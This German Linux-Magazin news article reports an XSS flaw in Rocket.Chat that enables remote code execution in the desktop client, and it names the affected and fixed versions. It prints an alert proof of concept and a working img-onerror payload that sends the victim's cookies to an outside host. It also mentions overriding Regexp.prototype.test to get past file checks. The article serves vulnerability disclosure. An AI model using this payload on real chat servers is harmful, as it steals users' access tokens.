Aus Linux-Magazin 11/2020

Rocket.Chat: Entfernter Angreifer kann Befehle ausführen

© Aliaksandr Karankevich, 123rf.com

In Corona-Zeiten haben es Angreifer gerade auch auf die jetzt weitverbreiteten Kommunikationslösungen abgesehen. Ein Beispiel liefern die Schwachstellen in Rocket.Chat.

Die einfache Kommunikationsanwendung Rocket.Chat schickt kurze Nachrichten hin und her. Sie ist in Kanälen (Channels) organisiert, in denen sich Nutzergruppen formell oder informell und in Echtzeit über Aktuelles austauschen. Darüber hinaus können einzelne Personen auch direkt in persönlichen Chats miteinander reden.

Rocket.Chat bietet sich unter anderem für Lehrveranstaltungen oder Gruppenarbeitsphasen an, oder allgemein für agiles Arbeiten in Gruppen. Gerade in Corona-Zeiten kommen solche Tools vermehrt zum Einsatz und sind aktuell entsprechend weitverbreitet. Dabei funktioniert Rocket.Chat grob nach dem Prinzip von WhatsApp, Slack oder Telegram. Rocket.Chat avancierte hier als ausgereifte Open-Source-Alternative in kurzer Zeit zu einer veritablen Alternative. Man kann es sowohl als Self-Hosting-Lösung betreiben wie auch im SaaS-Modell. Es lässt sich einerseits via Webbrowser nutzen, andererseits auch via Client-Apps für iOS, Android, Windows, Linux und MacOS.

Die Server- und Desktop-Versionen von Rocket.Chat enthielten bis vor Kurzem eine kritische Sicherheitslücke, die Angreifer im webbasierten Chat für Cross-Site-Scripting-Attacken ausnutzen konnten. Aus der Desktop-Applikation heraus war darüber hinaus auch das Ausführen beliebigen Codes aus der Ferne möglich. Mobile Anwender waren von der Sicherheitslücke jedoch zu keinem Zeitpunkt betroffen. Die Schwachstelle wird inklusive Proof-of-Concept-Exploits in einem kurzen Blog-Beitrag [1] erläutert. Dort findet sich auch ein kurzes Demonstrationsvideo zu den Sicherheitslücken, das die konkrete Attacke knapp vorstellt. Dabei demonstriert es sowohl das Cross-Site-Skripting als auch die Remote-Execution-Attacke praktisch.

Die Schwachstelle entsteht durch ein Cross-Site-Skripting-Problem im Rocket.Chat-Programmcode. Sie lässt sich durch den Angreifer mithilfe einer geschickt konstruierten Nachricht an das Opfer auslösen. Dadurch wird im Webbrowser oder innerhalb der Desktop-Applikation des Opfers vom Angreifer vorgegebener Javascript-Code ausgeführt. Allerdings muss das Opfer hierzu zunächst die Funktion Reply in Thread verwenden, bevor die eigentliche Attacke ausgeführt werden kann. Ohne Interaktion des Anwenders kommt die Schwachstelle also nicht aus.

In der Desktop-Applikation kann der Angreifer im Weiteren auch beliebige Befehle mit den Rechten des Anwenders ausführen. Die eigentliche Cross-Site-Skripting-Attacke läuft wie üblich ab. Dazu muss der Angreifer lediglich folgenden Code in den Chat der Anwendung posten:

<img src=x onerror=alert(document.domain)>

Das öffnet auf der Opfer-Seite lediglich ein harmloses Fenster und dient nur als Proof-of-Concept. Eine interessantere Payload für eine direktere Attacke könnte folgendermaßen aussehen:

<img src=x onerror='new Image().src="https://overflow.pl/xss_leak?" + document.cookie'>

Damit wird dann direkt auf Token des Benutzer zugegriffen. Konkrekt bedeutet das, dass ein entfernter Angreifer so Zugriffs-Tokens des Anwenders abgreifen kann. Innerhalb der Desktop-Applikation lässt sich diese Schwachstelle noch weiter ausnutzen. Hier kann der Angreifer dann auch allgemeine Befehle mit den Rechten des Anwenders ausführen. Dazu muss er noch die Kontrolle für Dateioperationen umgehen, indem er »Regexp.prototype.test« überschreiben.

Die Sicherheitslücke betrifft Rocket-Chat-Versionen vor 3.4.2, abgesichert sind hingegen die Versionen 3.4.3 und 3.5.0.

DIESEN ARTIKEL ALS PDF KAUFEN
EXPRESS-KAUF ALS PDFUmfang: 1 HeftseitePreis €0,99
(inkl. 19% MwSt.)
LINUX-MAGAZIN KAUFEN
EINZELNE AUSGABE Print-Ausgaben Digitale Ausgaben
ABONNEMENTS Print-Abos Digitales Abo
TABLET & SMARTPHONE APPS Readly Logo
E-Mail Benachrichtigung
Benachrichtige mich zu:
0 Kommentare
Älteste
Neuste Beste Bewertung
Inline Feedbacks
Alle Kommentare anzeigen
Nach oben